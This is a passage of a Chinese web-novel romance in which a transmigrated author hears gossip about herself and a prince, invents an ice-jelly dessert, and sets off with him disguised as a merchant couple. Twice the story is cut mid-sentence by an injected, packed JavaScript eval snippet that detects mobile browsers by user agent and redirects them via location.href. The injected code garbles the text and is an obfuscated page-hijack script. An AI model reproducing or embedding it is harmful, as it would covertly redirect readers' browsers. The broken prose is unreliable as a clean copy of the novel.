“那你再去看看别家有多么门庭若市,”凌觉不服道,“就去街尾那家百晓楼,他家现在生意最是火爆。” 凌觉此人惯会夸大其词,待到开了场,江沁月站在三楼雅间的窗边向下望,客人较以往确实少了些,但哪里有他说的那么夸张? 见着这边没什么,她便悄悄离开,准备去百晓楼一探究竟。 到了一看,凌觉说这边“门庭若市”却又是没半点夸张,不必管里面有多热闹,门口外边已是大排长龙人挤人。 江沁月见这架势不免打起了退堂鼓,却也被更加激发了好奇心——究竟编排成啥样才会这么炙手可热? “姑娘是想进去听书吗?那你今日怕是没机会喽。”一个中年男子凑上来低声问道。 “是啊,这不是在排队吗?”江沁月随口答道,还在考虑要不要一走了之。 “那你今日恐怕是没机会喽,”男子道,“看这样子,估计还没轮到你抽签就结束了。” “抽签?这还得抽中了签才能进去?”江沁月惊讶道。 “是啊,不过如果姑娘真想进去的话,我这里倒是有一个法子。”男子神秘兮兮地笑了笑。 “什么?” 见眼前这位衣着金贵的姑娘感兴趣,男子悄悄从怀中摸出一张小卡片: “凭此票可以直接入场,只需一两银子,我将它转赠给姑娘,如何?” “……”江沁月一时语塞,敢情她这是遇到黄牛了?这百晓楼的生意当真火爆至此? 江沁月其实对大梁物价没有太大实感,但是喝杯茶听个故事,就要整整一两银子?这是明晃晃地在抢钱了! 她时刻谨记,一粥一饭当思来之不易,半丝半缕恒念物力维艰。 她转过头去,不再看这黄牛大哥,直截了当道:“不要,太贵了。” “哎哟!姑娘且听我说,这一张是去包间的票,可不单单是买杯茶吃。”黄牛大哥不死心地又凑到了她眼前。 “各种茶水点心随你挑选不说,还有不限量的冰饮,姑娘定然知道,这才刚入夏,冰饮可是个稀罕物,全京城都没几家有呢!” 他这话倒是提醒了江沁月,邀月轩大概也是时候推出一些夏日新品了。 罢了,舍不得孩子套不着狼,这里的钱财于自己本也是身外之物,就买个黄牛票去一探究竟吧。 江沁月也懒得再讨价还价,痛快地把银子付给了他。 黄牛大哥收了钱眉开眼笑,亲自带着她越过长长的队伍,直接向大门走去。 “姑娘你生得这么好看,又十分爽快,当真是个极好的人。大哥祝你能和故事中的这位姑娘一般,有朝一日能找到像襄王殿下那样风姿出众的如意郎君。” “哈哈……那便借黄大哥吉言了。”故事中的姑娘本人也不知该说些什么好。 “黄大哥?我姓牛不姓黄,姑娘可别记错喽!”大哥笑得爽朗,“这段日子还想来听书的话,尽管来找我!” 拜拜了您嘞,这么黑心还想要回头客,真把她当摇钱树了不成? 江沁月挤进了百晓楼,好不容易找到包厢坐下时,说书已经快要开始了。 她叫来小二,点了几样冰饮,等着端上来后却大失所望,里面的冰只有一点点,吃着一点也不觉得凉快,水果、小圆子之类的材料也稀稀拉拉地沉在碗底。 这叫冰水还差不多,幸好她这买的是黄牛票,若是百晓楼自己卖这个价,得被客人砸了店面不可。 台上惊堂木“啪”地一响,她抬眼望去,方才见得台下盛况,台前座无虚席也就罢了,四处能插空的地方也挤满了站着的人。 这冰饮食之无味,弃之可惜,她放下瓷勺,专心听起了故事。 “诸位,我们此前讲过,这襄王殿下与这位江姑娘究竟是如何初遇的,我们不得而知,但据我所知,江姑娘不是京城本地人氏,她死了丈夫被婆家嫌弃,孤身赴京寻亲不得,便留在了一家酒楼里做工,而且她与在下一样,是个喜欢讲故事的人呢。” 这百晓楼的竞争意识可真强,故意隐去了邀月轩的名字不提,生怕为他们做了宣传。 “在下斗胆猜测,襄王殿下对江姑娘肯定是一见钟情,左不过是一眼相中了她的姿色,又或是被她的故事所吸引,诸位看官觉得,会是因为什么呢?” “不瞒各位,在下是见过江姑娘几次的,她的容貌虽不说是倾国倾城,倒也十分清秀。襄王殿下这种身份的人物,要什么绝世美人找不到?大鱼大肉吃多了,清粥小菜也别有一番风味不是?” “今儿个大家听得高兴,我便再多说几句,这江姑娘既是嫁过人的,年纪轻轻守了寡,那想必也是风韵犹存,襄王殿下说不定就喜欢这样的呢?殿下又是战场上历练过的,对这样饱经风霜却坚韧依旧的野花野草欣赏有加又心生怜惜,再是正常不过。” 好一个风流王爷俏寡妇。 开局一张嘴,其余全靠编,江沁月耐着性子往下听,已经不敢想其他版本会是什么样的了。 “之后没多久,殿下肯定就将江姑娘带回了王府,因为那酒楼里再也没了她的身影。” “得了自己心爱的美人,自然是要金屋藏娇好好宝贝着,殿下走哪去基本上也都会带上她一起,可见江姑娘在殿下心中分量之重。” 江沁月起了一身鸡皮疙瘩。 “这江姑娘对殿下亦是一片痴心,之前亲贵大臣们在永宁寺祈福之时,襄王殿下意外遭遇了行刺,江姑娘想也不想便挺身而出,徒手便抓住刀刃替殿下挡下了这一刀,自己却身中剧毒久久难愈……” “这二人虽情深意重,但苦于彼此身份实在是云泥之别,襄王殿下始终无法给她一个名分,偏偏天不遂人意,陛下此时有意为襄王殿下与当今青州刺史李大人家的小姐赐婚。” “嗐!”台下众人嘘声一片,大概是以为又要开始狗血三角恋的世纪大战。 “诸位别急,最有意思的地方来了,那李家的公子可是个不好相与的,自从知晓这婚事的苗头之后,次次见到他们都要冷嘲热讽一通,前不久的那次游猎,更是想直接杀了江姑娘,为自己的妹妹谋幸福。” “襄王殿下本一向最是好脾气,事到如今也是忍无可忍,冲冠一怒为红颜,一箭射杀了那李家公子。” “嚯!”众人一片惊叹,没想到剧情似乎走上了爽文路线。 “诸位想想,殿下此举也算得上是一箭双雕,一来杀了仇人畅快得很,二来有此一事,他与李家的婚事自然也是不了了之。” “江姑娘必然是殿下心目中唯一的王妃人选,若不是她,殿下定是宁愿终生不娶。无名无份却有情有意,长相厮守又何尝不是一种圆满?诸位说是与不是?” 众人纷纷点头称是。 “……” 这大部分的事情讲得也没毛病,但连在一起又添油加醋一番,听起来咋就这么不对劲? 散场后,江沁月怀着复杂的心情悠悠走回了邀月轩。 “怎么样?我没骗你吧?”凌觉这边也已经结束,看见她便直接迎了上来。 “别提了,我再也不想听见这种故事了,其他版本也千万千万不要让我听到。”江沁月说着又打了个激灵。 沉默片刻,凌觉开口问道:“所以……沁月,你和襄王殿下到底是什么关系?” “跟你没关系!说得好像你不知道我在王府干嘛似的,谣言止于智者啊。”江沁月没好气道。 “如果你想把这事搬上台讲,你就自己编排吧,我不可能给你写稿子的。” 她可没兴趣给自己写同人文,而且这简直是在给自己造谣了。 她接着道:“如果你要讲的话,就别告诉我了,我就当不知道,你也就当今天没见过我。” 凌觉点点头:“唔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529264|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我想想吧,如果讲的话,我肯定不会编得太离谱的,你放心。” 江沁月没搭理他,心中对此持怀疑态度。 接着她又去找了赵昭兰,跟她提了上新夏日冰饮的事。 “昭兰姐,咱们可要用料扎实些,百晓楼那个真是不好吃。” “这是自然,”赵昭兰笑道,“时间过得真快,一忙起来都没注意到已经入夏了,你放心,邀月轩有自己的冰窖,用料绝不含糊。” “先上些冰酥酪什么的吧,沁月你有什么新点子吗?” 江沁月得意一笑:“还真有,等我回去再想想,之后再告诉昭兰姐。” 眼瞧着天色已晚,她便在邀月轩继续蹭了晚饭才离开。 …… 回到王府后,江沁月便过上了大门不出二门不迈的宅家生活。 没办法,八卦的力量将她成功送上了京城热搜,现在不光是说书先生讲,走在路上时不时都能听见路人津津乐道。 只能两耳不闻窗外事,安慰自己眼不见心不烦了。 她也没去问过穆衍是否知道此事,这实在是不知道该怎么开口。 他知道又能如何?他们要一起出去辟谣吗?还是妄想堵住悠悠众口? 他若是不知道,那她一问不也知道了吗…… 江沁月几乎只往返于书坊和王府之间,结果李娴也知道了这热门八卦,笑着拿她打趣。 “江姑娘,你上次托我寻找的东西,找到了。”这天她一回到清秋苑,云霞便递来一个包裹。 打开一看,正是满满一大包她要的冰粉籽。 “太好了!就是这个,这个是在哪里找到的?” 云霞道:“是从一个外地药材商人手上买到的,他说此物名为石花籽,江姑娘要这药材做什么?” “做好吃的,待会儿你就知道了,”江沁月说干就干,“对了,王府有冰块吗?” 云霞点点头:“有,我去取一些来。” 冰粉的做法倒是不难,用纱布包好冰粉籽放入水中,搓出浆液后加入澄清石灰水,搅拌后静置一个时辰左右便已基本凝固成型。 江沁月将冰粉和碎冰盛入碗中,一碗加了红糖、山楂花生碎,还加了玫瑰蜜露佐味,做成了红糖冰粉;另一碗加了蜂蜜、酒酿和糯米小丸子,做成了三鲜冰粉。 “红糖冰粉里要是能加一些糍粑小圆子就好了,到时候给昭兰姐说一声。”江沁月十分满意地看着大功告成的两碗杰作。 “阿霞,快来试试怎么样。”她招呼着云霞来试吃,自己也拿起勺子尝了一口。 晶莹剔透的冰粉入口清甜爽滑,各式各样的小料带来了更加丰富的口感层次,入口即化的碎冰更是让人透心凉,若是在盛夏时节来上这么一碗,那可真是美滋滋。 “阿霞,待会儿盛两碗给殿下送去吧,我去趟邀月轩。” “等等,”江沁月刚说完就又反了悔,“我给殿下送去吧,阿霞,得麻烦你替我跑趟邀月轩了,把这方子给昭兰姐就好。” 她取来纸笔,将食材、做法以及云霞说的能买到石花籽的地方都详细写好,交给云霞后就去了梧桐苑。 彼时穆衍正在书房中看书,正是从久思阁中带回的古籍,那边的大工程基本上是几位秘书省派来的官员在做,穆衍也会帮着做一些。 “殿下,你已经被关了一个多月了吧?会不会很无聊?”江沁月问道。 主动宅家是一回事,被迫禁足是另一回事。 “是挺无聊的。”穆衍放下手中书卷,活动了下因久坐而僵硬的肩颈。 他接过江沁月手中的冰粉尝了一口:“很好吃,是你新研究出的甜品吗?” “嘿嘿,是准备新出的夏日冰饮,我叫它冰粉。”江沁月知道以穆衍的性子根本不可能给出差评,但还是很开心。 “其实不禁足的生活也挺无聊的,普通人忙于生计无暇顾虑其他,你们有钱人就是各种宴会、游猎什么的,去多了还有乐趣吗?” 穆衍闻言哈哈大笑起来,忽然又想起什么似的,对她道: “沁月,既然京城中无聊,你想不想去其他地方散散心?” “啊?去哪里?”这话转得太快,江沁月以为穆衍在跟自己开玩笑。 “楚阳,我的封地。”他的神情看起来十分认真,“若你愿意的话,我们半月后就出发。” “半月后?”江沁月更惊讶了,“可是殿下不是还在禁足吗?” 穆衍笑道:“不必担心,我会安排好一切的。” “我能问问殿下为什么突然想回楚阳了吗?” “太久没回去了,”穆衍有些感慨,“自从来了京城便再也没回去过。” “父王母妃相继离世后,我便去了边境,他们葬回封地后,我还没去祭奠过他们。” “抱歉,提起殿下的伤心事了……”江沁月有些惭愧,想来他是深思熟虑之后做的决定,她却以为他是说风便是雨的一时兴起。 “无妨,沁月,你只需告诉我,是否愿意与我一起同行?”穆衍道。 在他的故乡,是否可以触及更多她未曾着墨的过往? 江沁月不再犹豫,抬头正撞进穆衍隐隐透出期盼的双眼。 “我愿意。”她坚定道,“殿下,我们一起去吧。” 44. 假作比翼向南去 穆衍跟江沁月说,她什么都不用准备,他会打点好一切。 不过既然拍板定下了行程,江沁月也自有要忙的事。 邀月轩那边倒是没什么了,主要是《四时杂谈》的夏至篇,她打算在出发前将样刊敲定,这样剩下的事交给李娴一个人也能应付。 出发前两日,穆衍来了清秋苑,还叫人抬进来几箱子衣服首饰。 “殿下,这准备得会不会有点太充分了?”江沁月倒吸一口凉气。 她一天换一套可能都穿不完…… “倒不是说都得带上,你挑些最喜欢的带上就好。” 穆衍说着打开左手边两个大箱子:“这两箱是过去的路上穿的衣服。” 接着他又打开右边两个大箱子:“这两箱是到了楚阳之后穿的衣服,都是你应该会喜欢的式样。” “分得这么细吗?”江沁月十分讶异。 她上前一瞧才发现,这两边箱子里的衣服风格可谓是大相径庭。 一边堆叠着大红大绿的绫罗衣裙和各色宝石首饰金钗翠簪,珠光宝气却略显艳俗;另一边箱子里的倒都是些淡雅的配色,但料子看上去比起前者有过之无不及,低调奢华不失内涵。 “你且听我说来,”穆衍笑了笑,接着道,“毕竟尚在禁足期间,我们出城还是不宜太过光明正大。” 江沁月点点头。 “所以,我们需要扮作一对富商夫妻,一起演一出金蝉脱壳。”穆衍道,“你我扮作一对新婚燕尔的富商夫妻,此行是回家乡拜见族中长辈。” 江沁月微微瞪大了双眼:“殿下,这……不太好吧?要不……要不演个别的呢?” “若想不惹人怀疑,扮作夫妻恐怕是最好的选择。”穆衍露出一丝无奈的苦笑。 这话倒也在理。 “唔……”江沁月陷入了沉思,“那具体要怎么做呢?” “其实不必多做什么,我们各自的假身份我已安排好,在外面别漏出破绽就行。” “我们演相敬如宾也好,如胶似漆也罢,总之夫妻之间该如何,我们就如何。” “这些衣服,会更符合富商妻子的身份一些。”穆衍又指了指那两箱颇具暴发户气质的衣裙,“离京城越远就越安全,到时也不必逢场作戏了。” 他接着道:“你把需要的衣服选出来就好,剩下的交给云霞,她会提前将行李搬到马车上。” “马车自然不能停在府门前,所以后日我们寅时出发,各自走一边偏门前往马车所在之处,这样天亮之前我们就能离开京城。” “不必担心,云霞会带你过去的,此去楚阳,我们只带云霏和云霞随行。” 江沁月暗自感叹,穆衍办事真的是,说不让人操心就不让人操心。 她由衷道:“殿下思虑周全,我深感佩服。” “对了,既然要假扮夫妻,”穆衍眼中闪过一丝狡黠,“那沁月就不能再叫我殿下了。” “什么?” 穆衍笑着看她,循循善诱道:“你说,既是夫妻,那你应当唤我什么?” 江沁月“唰”地一下红了脸,她无声地张了张嘴,那两个字愣是说不出口。 穆衍也不说话了,很有耐心地等着她亲口说出答案。 江沁月咬住下唇,垂眸不敢看他。 过了半晌,她终于嗫嚅道:“夫……夫君。” 似乎脸红得更厉害了,脸颊上的热意也瞬间蔓延到了耳尖。 “夫人不必羞怯,这是夫妻之间应该的。” 他一句自然而然的“夫人”,叫得江沁月的脸烧得能摊煎饼。 穆衍笑意更甚:“沁月若是觉得不好开口,这两日在王府中也可以多试试。” “不必了!”她一口拒绝,“需要的时候,我会好好演戏的。” 夏风也不凉爽,穆衍离开后,江沁月脸上的热意也久久未能散去。 “呼——”她长舒一口气,拍拍自己的脸,俯下身来在几口大箱子里挑挑拣拣起来。 "你是准备跑路不干了吗?哼,你逃到天涯海角去也没用!” “没有,是穆衍让我和他一起去楚阳。”江沁月头也没回,她已经习惯了漆桐的神出鬼没。 “这都是他给你的吗?啧啧啧,可真是大手笔……”漆桐也蹲下来看她挑选衣服,“和他一起去楚阳?什么情况?你们已经开始度蜜月了吗?” “造谣一张嘴,辟谣跑断腿!”江沁月本来就因满天飞的八卦郁闷,忍不住白了想象力丰富的漆桐一眼。 “楚阳是穆衍的老家啊!你说实话,你是不是没看过原书就把我拉过来了?” 漆桐尬笑两声,直接岔开了话题:“你发消息说穆衍和李娴应该没戏了,但我看他红鸾星依旧明亮,说明机缘还在,可能是你一开始就搞错了方向。” “是吗?那说不定……楚阳会有新的机会?”江沁月闻言皱起了眉头,忍不住吐槽道,“跟你一起做任务,就像两个人一起瞎子摸象。” …… 出发前一晚,江沁月兴奋得几乎彻夜未眠,大概是“小学生春游综合征”在作祟。 从小到大,她也天南地北去过不少地方旅游,每次出发前总会兴奋得睡不着觉,这在古代出远门更是新鲜头一回。 盥洗梳妆完毕之后,江沁月和云霞一起直接从清秋苑的小门出了王府。 刚开始江沁月还有些偷偷摸摸不自在,但转念一想这被禁足的又不是自己,况且这大半夜的街上连半个人影都没有,她有什么可心虚的? 走了约莫一刻钟,便到了马车所在之处,江沁月远远地就瞧见穆衍和云霏已经候在车旁。 他今日也一改往日穿衣风格,看上去是极为张扬的富贵,不过有这张脸撑着,倒也不显庸俗。 和自己今日这一身还挺相配。 “殿下!”待到走近了些,江沁月才招呼道,夜色浓黑静谧,她也不自觉地压低了声音。 江沁月晃了晃脑袋,她平日里的发型都很随意,今儿个是云霞替她妆扮的,头上的几支金钗可是实打实的沉甸甸。 穆衍也难得见她穿得如此艳丽,还真有几分富贵人家的夫人模样。 他挑了挑眉:“嗯?” “呃……在外人面前演一下就可以了吧?”江沁月一下子反应过来,他的意思是,是时候该改称呼了。 “公子、夫人,先上车吧,路途遥远,可别误了时辰。”云霏出声提醒道。 ……这小子改口倒是又快又顺。 这辆马车应该是穆衍另外想办法弄来的,车身上没有王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547682|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的印记,而江沁月一上车才发现,这里面亦是大有乾坤。 马车内部空间相当宽敞,各式物品一应俱全,壁上点着油灯照明,甚至小桌上还摆着一套青瓷茶具。 座椅和车壁都包上了冰蚕丝软垫,以免路途颠簸劳累,冰蚕丝触手生凉,也最是适合这炎炎夏日。 坐定后,穆衍将两张身份文牒递给了江沁月,一张上的名字是“纪云起”,另一张上是“白月秋”,还写着他们虚构的籍贯身份。 “白月秋”自然是江沁月给自己取的假名,作为一个资深起名废的小说作者,她灵机一动将自己的笔名“秋月白”给直接倒了过来。 “纪云起?殿……这名字有什么说法吗?”江沁月好奇问道。 “纪是我母妃的姓,云起是他们为我取的字。”穆衍道,“云霏和云霞,也是他们取的名。” “原来如此,不过我还是第一次知道,殿……你们这些皇室中人也会取字。” 穆衍闻言笑道:“有字是有字,不过基本上没人会用罢了。” “那太子殿下也有字吗?他的字是什么?”江沁月身为作者亲妈十分好奇。 穆衍摇摇头:“不知道,这恐怕得去问他本人了。” 他接着道:“夫人可得记清楚,莫要在外面叫错了人,我想还是尽快改口为好。” “……”江沁月选择老老实实闭上了嘴。 马车很快便顺利地出了城,天色微微擦亮时,繁华的京城已在他们身后缩成了小小一点。 “我们一路向东南而行,边走边玩的话,大概需要半个月的时间到楚阳,”穆衍道,“这次回去我还打算,将那边府中的藏书都运到京城来。” 他接着道:“反正久思阁上面几层空着也是浪费,陛下命我整理藏书古籍,若是真被人揭发了行踪,也能以运书为由将功折罪。” “明眼人都看得出来陛下和太子都向着你吧?谁吃饱了撑的去揭发你?”江沁月道。 “或许是瞎子,或许是眼高于顶的人,”穆衍笑了笑,“不过他们大概已是自顾不暇了。” 曾经的李相已被贬数年,蠢材儿子不成器还丢了性命,连带着整个家族都不得圣心,他们应该是没工夫再继续咬着穆衍了。 外面已是天光大亮,一晚上没怎么睡的江沁月依然毫无困意,时不时就会撩开帘布瞧瞧窗外的风景。 穆衍忽然从桌下摸出个小瓷瓶,又对江沁月道:“差不多是时候服药了,夫人那边桌下也有个暗格,药都放在里面。” 正在兴头上的江沁月早已忘了他们二人现在都是药罐子,被穆衍这么一说才陡然想起。 依他所言打开暗格一看,里面是满满当当的几排小瓷瓶。 “我提前让太医院的人将我们的药都制成了足够量的药丸,方便携带些。”穆衍解释道。 “身体最要紧,出门在外是有诸多不便,但夫人也莫要忘了按时吃药。” “……”江沁月倒出一颗药吞了下去。 夫人长夫人短,穆衍是看她一直不肯改口,怕她露出破绽所以开始给她洗脑了吗? 不就是演戏吗?谁不会似的。 江沁月深吸一口气,朝穆衍露出一个柔情蜜意的笑容: “多谢夫君关怀,我记住了。” 45. 静夜春声心不宣 他们一行四人也不赶时间,一日多走少走些都无妨,便商量着晚上尽量都留宿在沿途的各大城邑中,一来更安全,二来城中的客栈住着也更舒适。 第一晚他们便决定住在安阳城中,赶到城门时天已经黑透了。 安阳城是京城之外的第一大城,离京城百余里远,来去京城的人大多都会选择在这里歇歇脚。 “安阳城中往来商贾众多,特别是许多外邦商人不喜京中管制,便会在安阳交易货品,有不少稀奇玩意呢,”穆衍道,“我们明日可以在城中逛逛,后日一早再出发。” “好。”江沁月点点头。 说话间他们到了安阳城中最大的一家客栈前,几人进去时,大堂里只有小二在柜台里打着算盘做账。 “小二,要两间房。”穆衍道。 他们本来的打算是穆衍和云霏住一间,江沁月和云霞住一间,两个人一起也能互相照应着。 结果那小二见他们一行四人,面上露出了几分歉色:“哎哟几位贵客真是不巧,今晚上只剩下一间房了。” “要是不嫌弃的话,两位的仆从要不住我们后院里的杂役房凑合一晚?明儿个再给几位加开一间房。”小二接着提议道。 江沁月直接道:“那我们换家店吧。” 云霏和云霞在王府都不住杂役房,出来玩自然也不能委屈了他们。 却听那小二又道:“夫人心肠真是好,不过小的也多说一句,眼下已近亥时,其他店家也未必有空房了,而且他们的条件肯定是比不上咱们家。” “……”江沁月开始思考起四个人挤一间的可能性。 云霏忽然道:“夫人不必管我们,我和阿霞在马车上将就一晚就行。” “那怎么行?!”江沁月脸色大变,他们去将就一晚,那她岂不是真要跟穆衍住一间房? 你家殿下的清誉不要啦? 这当然不行,但她也没法直说,毕竟她和穆衍扮的是夫妻,住一间房在外人眼里是天经地义的事。 小二见她反应这么大,也有些摸不着头脑。 穆衍一把揽过江沁月的肩膀,将她带到自己怀里,温言道:“我知道夫人一向心疼他们,不过这会儿出去寻不到住处的话,再回来怕是这最后一间房也没了。” 说着他还用手指轻轻蹭了蹭江沁月的脸颊,像是亲昵的安抚。 江沁月也知道自己有点激动过头了,便也乖乖配合他演戏,靠在他怀里柔声道了句好。 接着她抬起头,楚楚可怜地望着穆衍:“那夫君明日可别忘了给他们加一间房,赶路本就辛苦,休息不好可不成。” 小二忙道:“二位不必忧心,小的这厢都记下了,定会安排妥当的。” “那劳烦你给他们准备两床薄被,虽然已经入夏,夜里总还是有些凉。”江沁月叮嘱道。 “是是是,这是自然,”小二赔笑道,“几位应该是才入城吧?用过晚饭了吗?” “还没有,你去吩咐后厨随便上几个菜吧。”穆衍道。 “得嘞!” 小二也不敢怠慢,好酒好菜端了上来,待他们酒足饭饱,又引着江沁月和穆衍去了楼上的房间。 “二位贵客舟车劳顿,今夜便好好休息吧,有什么事随时吩咐小的。”小二说完便退了下去。 房门一关,二人齐齐陷入沉默。 作为安阳城中最好的客栈,这条件自然是没得说,大概就像是现代的豪华大床房。 嗯……没错,只有一张床。 江沁月被火燎了似地移开目光,四下打量着就是不再去看那张床,心里思忖着这可如何是好。 住进一个房间已经很是逾矩,这要是睡到一张床上去,那可真是太不礼貌了。 好死不死,在这一片寂静中,隔壁房间里忽然传来一些不可名状的动静。 咯吱咯吱,咿咿呀呀…… 饶是安阳城中最好的客栈,房间之间也只有一层薄薄的墙板,隔音那是相当不好。 所以在这愈发诡异的沉默中,隔壁男欢女爱的情语荤话也一清二楚地传进了二人耳中。 他们又不是懵懂无知的小孩子,一听便知隔壁是怎样的干柴烈火、活色生香。 江沁月的脸一下子就滚烫起来。 她偷偷瞥了穆衍一眼,发现他精雕玉琢般的脸上也腾起了两朵红云。 “咳咳,那个……”江沁月本来想喊殿下,但考虑到这相当糟糕的隔音效果,话到嘴边还是改了口。 “夫君啊,今天我就打地铺吧,你去睡床就行。” 说着她乒乒乓乓地在房间里的柜子里翻找起来,最后抱出了几床被子。 好在这房间里还有个屏风将床隔开,她便打算在屏风后面铺个地铺。 “怎么能这般委屈夫人?你去睡床吧,我们都是打过仗的,睡个马车地铺什么的都无所谓。”穆衍作势要接过她手上的被子。 江沁月忙道:“没事没事,今天我打地铺就行,下次我们再换过来……” 她突然噤了声,脸热得更厉害了。 自己在说什么啊?下次?这这这还想要下次?! 江沁月羞恼地将脸埋进了手上的被子里。 穆衍见她这副模样不禁有些好笑,也不再勉强,帮她一起铺好了被子。 待到他们忙活收拾完毕,隔壁房间的动静也总算是消停了下来。 两人皆是心照不宣地暗自松了口气。 江沁月只卸了钗环脱了外裳,便拉过被子倒在了地铺上。 虽然已经垫上了好几层被褥,但这地板总归是硬得慌,躺上一会儿便硌得她腰酸背疼,睡意全无。 她无声长叹,扪心自问一下,这种尴尬的狗血剧情,怎么就发生在了自己身上? 房间里早就熄灭了烛火,只有微薄的月光透过窗纸泻进屋里,万籁俱寂的初夏夜里,连一丝虫鸣也不曾有。 隔着一道屏风,江沁月看不见穆衍那边的情况,只能听见他轻浅的呼吸声和偶尔翻身时衣服被子布料摩擦的声音。 也不知道他睡着了没有。 江沁月也不知道自己是什么时候睡着的,但当她悠悠转醒时,已经接近中午了。 屋里清风 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“隔壁?”江沁月愣了一下,他们这是走廊尽头一间,那自然只有一个隔壁…… “嗯,就是昨晚……动静很大的那边。”穆衍颇有些不自在地移开了视线。 沉默是金,江沁月也不再多问,只在心里感叹这年轻人精神头就是足,白天舟车劳顿风尘仆仆,晚上不倒头就睡还有力气翻云覆雨,第二天还能起个大早接着赶路…… “云霞他们大概还在补眠,今日我来帮你梳妆吧,”穆衍道,“待会儿叫上他们一起出去吃饭。” “原来你还会梳女子的发式吗?”江沁月十分讶异,“不过不必这么麻烦,阿霞不在的话,我自己随便弄一下就行。” 穆衍笑道:“夫人试试不就知道了?你我夫妻之间,何必如此客气?” 他的语气是理所应当的自然,笑意温柔,眉目含情,江沁月怔怔地望着他,觉得自己所有的推辞都像是欲拒还迎。 这里就他们两人而已,还有什么演戏的必要?而且,为什么他演起戏来可以如此泰然自若? 穆衍见她不语便当她是默认了,伸手握住她的肩膀将她带到妆台镜前坐下。 他抽掉江沁月随意挽起的那支发簪,将她的头发仔细梳顺后简单盘了个高髻,又帮她描了眉画了唇。 穆衍的脸近在咫尺,一手替她上妆,另一手还抬着她的下巴由不得她退缩,江沁月真是连大气都不敢出。 夫妻之间,当真如此这般? 总算是熬到结束,她看向镜中自己的倒影,只道王府中人个个都是美妆小能手,云霞是,穆衍也是。 江沁月忽然有些好奇道:“那云霏也精通女子的妆容发式吗?” “他?他不会,”穆衍将妆奁里的东西归置好,“你问他做什么?” 江沁月“哦”了一声:“看阿霞和你都很是心灵手巧,还以为他也是如此呢。” “……” 46. 甜言撩人不自知 喊上了云霏和云霞,一行四人便出了门,准备吃完饭再去逛逛集市,瞧瞧稀奇。 刚走到客栈大堂,便见昨日那小二三步并作两步迎了上来:“几位贵客请留步!” “纪公子、白夫人,几位可是要出门去吃饭?”他腆着笑脸问道。 “是,怎么了?” “哎哟那可太巧了!几位就在咱们家吃吧,这也是我们老板的意思,他说要亲自向几位赔罪。”小二道,“老板刚刚有事出去了,一会儿就回来,几位先入座吧。” “赔罪?赔什么罪?”云霏皱眉不解道。 小二讪笑道:“自然是因为昨晚的事,他知道后给我好一通骂……哎哟!” “你还不服是吧?老子冤了你不成?赶紧滚去厨房催催菜!” 一名看上去应是而立之年的男子狠狠敲了一下小二的脑袋,想来他就是这里的老板了。 “纪公子、白夫人,昨晚的事我都听说了,店里的小厮蠢笨不周到,怠慢了这两位弟弟妹妹,在下向几位赔个不是。” 男子接着道:“差点忘了自我介绍,在下钱进,是这家客栈的老板。” 穆衍拱手道:“钱老板言重了,一点小事而已,这小厮也很机灵了,今日一早便已为他们安排妥当。” 钱进应该是看过他们入住时登记的信息,他们也就无需再自我介绍了,反倒是钱进自来熟地打开了话匣子: “嗐!纪公子也是生意人,那定然也知道,咱们做生意最讲究的就是一个‘诚’字,那不仅仅是诚信,还得要真诚嘛!” “哪怕是随从,那也是贵客的随从,哪由得他指挥人住到杂役房去?如此怠慢人,真是不像话!” “我今儿早上便将他臭骂了一顿,老子跟他说了,下次要是跟着老子去外地办事,他就自个儿住到茅房去!” 听到他最后一句,江沁月差点没憋住笑,这钱老板看着是个火爆脾气,倒也是个爽快人。 钱进最后道:“总之还请几位赏脸留下吃个便饭,权当是钱某赔罪了。” 话已至此,一行人也不好再拒绝。 “我已让人将咱家的招牌菜都上一遍,几位也可以再看看菜单,有什么想吃的尽管点就好。” 小二这时正好端上来一份凉菜:“咱们家待会儿还有人说书,今日要讲的是京城那边刚传来的小道消息,新鲜得很!” “就你多嘴!人纪公子和夫人就是从京城来的,还能不知道?”钱进斥道。 巧了不是?穆衍被关了快两个月禁闭,什么八卦新鲜事的,他可能还真不知道。 不过江沁月自己怎么也有种不祥的预感…… “……大家相逢即是缘,故事嘛,真真假道听途说,诸位就当听个乐呵下下饭,酒足饭饱的也就当消消食。” 菜已上齐,说书的也开始侃侃而谈。 “在座各位都是南来北往的,说不定早已对今日的故事有所耳闻。在下要讲的不是别的,正是京城最近脍炙人口的爱情佳话,故事的主人公呐,就是我大梁那位一战成名的襄王殿下。” “咳咳咳咳咳咳……”江沁月正在喝汤,听到这猝不及防地被呛了一下。 果然,好事不出门,坏事传千里。 “夫人慢些喝。”被点名的穆衍若无其事地拍拍她的背替她顺了顺气,还体贴地拿出手帕帮她擦了擦嘴角。 “……多谢。”江沁月眼泪都呛出来了,直接接过了他手中的绢帕。 “事情究竟如何,京城诸家众说纷纭,咱们今儿个就先来讲讲流传度最广的那个版本。” 是了,正是她在百晓楼听过的“风流王爷俏寡妇”那一版。 江沁月的脸热得快要熟透,她默默地低头拨拉着碗里的饭菜,眼观鼻鼻观心,一粒米一粒米地往嘴里挑。 她脑袋都快要埋到碗里去了,完全不敢看穆衍是什么表情,却能清楚地感觉到他的目光时不时流连在自己身上。 台上的说书先生讲得是越来越起劲,台下的江沁月越听越是汗流浃背。 原来吃顿饭也能如此煎熬。 偏偏这时钱进瞧见了他们这边,走过来打趣道:“白夫人平日里甚少出门吧?怎的听到这些就羞红了脸?” 